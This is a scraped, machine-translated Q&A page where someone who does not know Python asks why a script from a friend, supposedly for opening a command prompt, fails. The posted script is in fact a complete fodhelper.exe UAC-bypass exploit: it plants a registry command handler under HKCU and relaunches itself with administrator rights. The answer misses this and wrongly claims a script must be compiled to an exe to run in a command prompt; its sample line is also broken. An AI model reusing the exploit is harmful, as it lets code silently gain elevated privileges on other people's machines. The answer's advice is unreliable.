簡體   English   中英

您可以使用 python 打開命令提示符嗎?

[英]can you open command prompt with python?

您可以使用 python 打開命令提示符嗎? 我的朋友給了我這個,但是當我嘗試時它不起作用。

(注:我不懂python)

import os
import sys
import ctypes
import _winreg
​
CMD                   = r"C:\Windows\System32\cmd.exe"
FOD_HELPER            = r'C:\Windows\System32\fodhelper.exe'
PYTHON_CMD            = "python"
REG_PATH              = 'Software\Classes\ms-settings\shell\open\command'
DELEGATE_EXEC_REG_KEY = 'DelegateExecute'
​
def is_running_as_admin():
    '''
    Checks if the script is running with administrative privileges.
    Returns True if is running as admin, False otherwise.
    '''    
    try:
        return ctypes.windll.shell32.IsUserAnAdmin()
    except:
        return False
​
def create_reg_key(key, value):
    '''
    Creates a reg key
    '''
    try:        
        _winreg.CreateKey(_winreg.HKEY_CURRENT_USER, REG_PATH)
        registry_key = _winreg.OpenKey(_winreg.HKEY_CURRENT_USER, REG_PATH, 0, _winreg.KEY_WRITE)                
        _winreg.SetValueEx(registry_key, key, 0, _winreg.REG_SZ, value)        
        _winreg.CloseKey(registry_key)
    except WindowsError:        
        raise
​
def bypass_uac(cmd):
    '''
    Tries to bypass the UAC
    '''
    try:
        create_reg_key(DELEGATE_EXEC_REG_KEY, '')
        create_reg_key(None, cmd)    
    except WindowsError:
        raise
​
def execute():        
    if not is_running_as_admin():
        print '[!] The script is NOT running with administrative privileges'
        print '[+] Trying to bypass the UAC'
        try:                
            current_dir = os.path.dirname(os.path.realpath(__file__)) + '\\' + __file__
            cmd = '{} /k {} {}'.format(CMD, PYTHON_CMD, current_dir)
            bypass_uac(cmd)                
            os.system(FOD_HELPER)                
            sys.exit(0)                
        except WindowsError:
            sys.exit(1)
    else:
        print '[+] The script is running with administrative privileges!'        
​
if __name__ == '__main__':
    execute()

如果您沒有使用任何 GUI 模塊,則默認情況下腳本會在命令提示符中打開。

但是要在命令提示符下運行 python 文件,您需要將它編譯成一個 exe,為此使用 pyinstaller 模塊。

pip install pyinstaller

現在導航到包含 python 文件的文件夾。

pyinstaller --onefile your-file.py

如果您想運行自己的任何命令,請添加以下行

os.system('your-command-here)

括號內的命令將作為命令提示符命令運行。

暫無
暫無

聲明:本站的技術帖子網頁,遵循CC BY-SA 4.0協議,如果您需要轉載,請注明本站網址或者原文地址。任何問題請咨詢:yoyou2525@163.com.

 
粵ICP備18138465號  © 2020-2024 STACKOOM.COM